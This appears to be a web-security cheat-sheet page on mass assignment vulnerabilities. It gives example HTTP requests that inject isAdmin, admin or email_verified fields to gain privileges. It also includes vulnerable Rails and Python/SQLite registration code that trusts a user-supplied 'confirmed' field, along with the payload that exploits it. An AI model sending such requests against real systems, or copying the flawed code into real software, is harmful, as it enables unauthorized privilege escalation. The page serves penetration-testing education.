Web Mass Assignment

One of the ways that you can discover mass assignment vulnerabilities by finding interesting parameters in API documentation and then adding those parameters to requests. Look for parameters involved in user account properties, critical functions, and administrative actions.

  • Normal request

POST /editdata HTTP/1.1
Host: target.com
...

username=daffa

The response

HTTP/1.1 200 OK
...

{"status":"success","username":"daffainfo","isAdmin":"false"}
  • Modified Request

POST /editdata HTTP/1.1
Host: target.com
...

username=daffa&admin=true
HTTP/1.1 200 OK
...

{"status":"success","username":"daffainfo","isAdmin":"true"}

Example 2

POST /api/register HTTP/1.1
[..]
{“email”:”user1@example.com”}

HTTP/1.1 200 OK
[..]
{”userid”:”112345”,“email”:”user1@example.com”,”email_verified”:false}
POST /api/register HTTP/1.1
[..]
{“email”:”user2@example.com”,”email_verified”:true}

HTTP/1.1 200 OK
[..]
{”userid”:”112346”,“email”:”user2@example.com”,”email_verified”:true}

Example - PATCH Request

{
    "username": "wiener",
    "email": "wiener@example.com",
    "isAdmin": false,
}

In addition, send a PATCH request with an invalid isAdmin parameter value:

{
    "username": "wiener",
    "email": "wiener@example.com",
    "isAdmin": "foo",
}

If the application behaves differently, this may suggest that the invalid value impacts the query logic, but the valid value doesn't.

{
    "username": "wiener",
    "email": "wiener@example.com",
    "isAdmin": true,
}

Example - nested object

POST /api/register HTTP/1.1
[..]
{“email”:[”user3@example.com”,”user4@example.com”]}

HTTP/1.1 200 OK
[..]
{”userid”:”112347”,“email”:[”user3@example.com”,”user4@example.com”],”email_verified”:false}

Other example - Fuzzcompany name or ID

{
"username":"hacker",
"email":"api@hacker.com",
"org": "§CompanyA§",
"password":"Password1!"
}

Guess Parameters

Burp - Param Miner

Ruby on Rails

Ruby on Rails is a web application framework that is vulnerable to this type of attack.

class User < ActiveRecord::Base
  attr_accessible :username, :email
end
{ "user" => { "username" => "hacker", "email" => "hacker@example.com", "admin" => true } }

Source code:

for i,j,k in cur.execute('select * from users where username=? and password=?',(username,password)):
  if k:
    session['user']=i
    return redirect("/home",code=302)
  else:
    return render_template('login.html',value='Account is pending for approval')
try:
  if request.form['confirmed']:
    cond=True
except:
      cond=False
with sqlite3.connect("database.db") as con:
  cur = con.cursor()
  cur.execute('select * from users where username=?',(username,))
  if cur.fetchone():
    return render_template('index.html',value='User exists!!')
  else:
    cur.execute('insert into users values(?,?,?)',(username,password,cond))
    con.commit()
    return render_template('index.html',value='Success!!')

username=new&password=test&confirmed=test

Resources

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated